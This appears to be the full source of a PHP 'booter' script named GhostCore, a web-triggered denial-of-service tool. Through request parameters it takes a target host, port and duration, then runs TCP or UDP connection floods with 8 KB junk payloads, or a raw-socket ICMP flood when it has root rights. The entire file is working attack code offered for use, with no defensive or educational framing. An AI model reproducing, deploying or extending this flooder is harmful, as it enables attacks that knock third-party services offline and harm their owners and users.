PHP GhostCore Booter.php

<?php

GhostCore::getInst();
class GhostCore
{
    private $action = null;
    private $reqargs = null;

    public static function getInst()
    {
        static $inst = null;
        if ($inst === null)
        {
            $inst = new self;
        }
        return $inst;
    }

    private function __construct()
    {
        $this->action = isset($_REQUEST['act'])?$_REQUEST['act']:null;
        if($this->action == null)
        {
            die("API Error #001: You have not entered an action!");
        }
        unset($_REQUEST['act']);
        if(count($_REQUEST) < 3)
        {
            die("API Error #002: You have not entered a correct amount of arguments!");
        }
        foreach($_REQUEST as $key => $val)
        {
            $this->reqargs[] = "$key:$val";
        }
        $this->reqargs = implode('|', $this->reqargs);

        $this->initStartup();
        $this->parseRequest();
    }

    private function initStartup()
    {
        set_time_limit(0);
        @ini_set('output_buffering', 'off');
        @ini_set('zlib.output_buffering', false);
        @ini_set('zlib.output_compression', false);
        @ini_set('implicit_flush', true);
        for($ob = 0; $ob < ob_get_level(); $ob++)
        {
            ob_end_flush();
        }
        ob_implicit_flush(true);
        header('Content-type: text/plain');
        header('Cache-control: no-cache');
    }

    private function parseRequest()
    {
        list($time, $host, $port) = explode("|", $this->reqargs);
        $time = explode(':', $time)[1];
        $host = explode(':', $host)[1];
        $port = explode(':', $port)[1];

        switch(strtolower($this->action))
        {
            default:
                die("API Error #003: You have entered an incorrect action!");
            break;
            case 'tcp':
                // TCP Flood
                $this->cycleFlood($time, $this->action, $host, $port);
            break;
            case 'udp':
                // UDP Flood
                $this->cycleFlood($time, $this->action, $host, $port);
            break;
            case 'icmp':
                // ICMP Flood
                if(!$this->cycleFlood($time, $this->action, $host, 0))
                {
                    die("Failed: This function uses SOCK_RAW and requires you to be root!");
                }
            break;
        }
        die('Success');
    }

    private function cycleFlood($time = 60, $proto = 'tcp', $host = null, $port = 80)
    {
        if($proto != 'icmp')
        {
            $etime = time() + intval($time);
            $pckt = str_repeat('P', 8192);
            while(true)
            {
                if(time() >= $etime)
                {
                    break;
                }
                $pckt++;
                $fp = @fsockopen("$proto://$host", $port, $errno, $errstr, 1);
                if($fp)
                {
                    fwrite($fp, $pckt);
                    fclose($fp);
                }
            }
            return true;
        }
        else
        {
            if(strtoupper(substr(PHP_OS, 0, 3)) === 'LIN')
            {
                if(getmyuid() == 0 || getmygid() == 0)
                {
                    $etime = time() + intval($time);
                    while(true)
                    {
                        if(time() >= $etime)
                        {
                            break;
                        }
                        $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
                        $socket  = @socket_create(AF_INET, SOCK_RAW, 1);
                        @socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => 1, 'usec' => 0));
                        @socket_connect($socket, $host, null);
                        $ts = microtime(true);
                        @socket_send($socket, $package, strlen($package), 0);
                        if(@socket_read($socket, 255))
                        {
                            @socket_close($socket);
                        }
                    }
                }
                else { return false; }
            }
            else { return false; }

            return true;
        }
    }

}